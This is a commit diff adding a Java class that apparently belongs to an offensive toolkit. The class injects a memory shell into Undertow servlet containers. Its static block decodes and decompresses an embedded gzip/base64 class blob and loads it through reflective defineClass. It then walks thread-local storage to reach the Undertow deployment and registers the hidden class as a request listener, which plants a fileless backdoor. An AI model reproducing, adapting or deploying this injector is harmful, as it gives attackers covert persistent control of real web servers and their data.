|
| 1 | +package com.example.undertow.loader; |
| 2 | + |
| 3 | +import javax.servlet.ServletRequestEvent; |
| 4 | +import javax.servlet.ServletRequestListener; |
| 5 | +import javax.servlet.http.HttpServletRequest; |
| 6 | +import javax.servlet.http.HttpServletResponse; |
| 7 | +import java.io.ByteArrayInputStream; |
| 8 | +import java.io.ByteArrayOutputStream; |
| 9 | +import java.io.IOException; |
| 10 | +import java.io.InputStream; |
| 11 | +import java.lang.reflect.Field; |
| 12 | +import java.lang.reflect.Method; |
| 13 | +import java.net.URL; |
| 14 | +import java.net.URLClassLoader; |
| 15 | +import java.util.Base64; |
| 16 | +import java.util.Map; |
| 17 | +import java.util.zip.GZIPInputStream; |
| 18 | + |
| 19 | +/** |
| 20 | + * @author Whoopsunix |
| 21 | + * <p> |
| 22 | + * Version test |
| 23 | + * spring-boot-starter-undertow |
| 24 | + * 2.7.15 |
| 25 | + */ |
| 26 | +public class UndertowThreadLoader { |
| 27 | + public static String base64Str = "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"; |
| 28 | + |
| 29 | + static { |
| 30 | + try { |
| 31 | + byte[] bytes = decompress(Base64.getDecoder().decode(base64Str)); |
| 32 | + |
| 33 | + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); |
| 34 | + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); |
| 35 | + defMethod.setAccessible(true); |
| 36 | + Class cls = (Class) defMethod.invoke(urlClassLoader, bytes, 0, bytes.length); |
| 37 | + Object object = cls.newInstance(); |
| 38 | + |
| 39 | + Object threadLocals = getFieldValue(Thread.currentThread(), "threadLocals"); |
| 40 | + Object[] table = (Object[]) getFieldValue(threadLocals, "table"); |
| 41 | + |
| 42 | + for (int i = 0; i < table.length; i++) { |
| 43 | + Object entry = table[i]; |
| 44 | + if (entry == null) |
| 45 | + continue; |
| 46 | + Object value = getFieldValue(entry, "value"); |
| 47 | + if (value == null) |
| 48 | + continue; |
| 49 | + |
| 50 | + try { |
| 51 | + if (value.getClass().getName().equals("io.undertow.servlet.handlers.ServletRequestContext")) { |
| 52 | + Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo"); |
| 53 | + Object deployment = getFieldValue(value, "deployment"); |
| 54 | + Object applicationListeners = getFieldValue(deployment, "applicationListeners"); |
| 55 | + Object managedListener = Class.forName("io.undertow.servlet.core.ManagedListener").getConstructor(listenerInfoClass, Boolean.TYPE).newInstance(listenerInfoClass.getConstructor(Class.class).newInstance(object.getClass()), true); |
| 56 | + applicationListeners.getClass().getDeclaredMethod("addListener", Class.forName("io.undertow.servlet.core.ManagedListener")).invoke(applicationListeners, managedListener); |
| 57 | + break; |
| 58 | + } |
| 59 | + } catch (Exception e) { |
| 60 | + e.printStackTrace(); |
| 61 | + } |
| 62 | + } |
| 63 | + } catch (Exception e) { |
| 64 | + e.printStackTrace(); |
| 65 | + } |
| 66 | + } |
| 67 | + |
| 68 | + public static byte[] decompress(byte[] compressedData) throws IOException { |
| 69 | + ByteArrayInputStream bais = new ByteArrayInputStream(compressedData); |
| 70 | + try (GZIPInputStream gzipInputStream = new GZIPInputStream(bais)) { |
| 71 | + ByteArrayOutputStream baos = new ByteArrayOutputStream(); |
| 72 | + byte[] buffer = new byte[1024]; |
| 73 | + int len; |
| 74 | + while ((len = gzipInputStream.read(buffer)) > 0) { |
| 75 | + baos.write(buffer, 0, len); |
| 76 | + } |
| 77 | + return baos.toByteArray(); |
| 78 | + } |
| 79 | + } |
| 80 | + |
| 81 | + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { |
| 82 | + final Field field = getField(obj.getClass(), fieldName); |
| 83 | + return field.get(obj); |
| 84 | + } |
| 85 | + |
| 86 | + public static Field getField(final Class<?> clazz, final String fieldName) { |
| 87 | + Field field = null; |
| 88 | + try { |
| 89 | + field = clazz.getDeclaredField(fieldName); |
| 90 | + field.setAccessible(true); |
| 91 | + } catch (NoSuchFieldException ex) { |
| 92 | + if (clazz.getSuperclass() != null) |
| 93 | + field = getField(clazz.getSuperclass(), fieldName); |
| 94 | + } |
| 95 | + return field; |
| 96 | + } |
| 97 | +} |
0 commit comments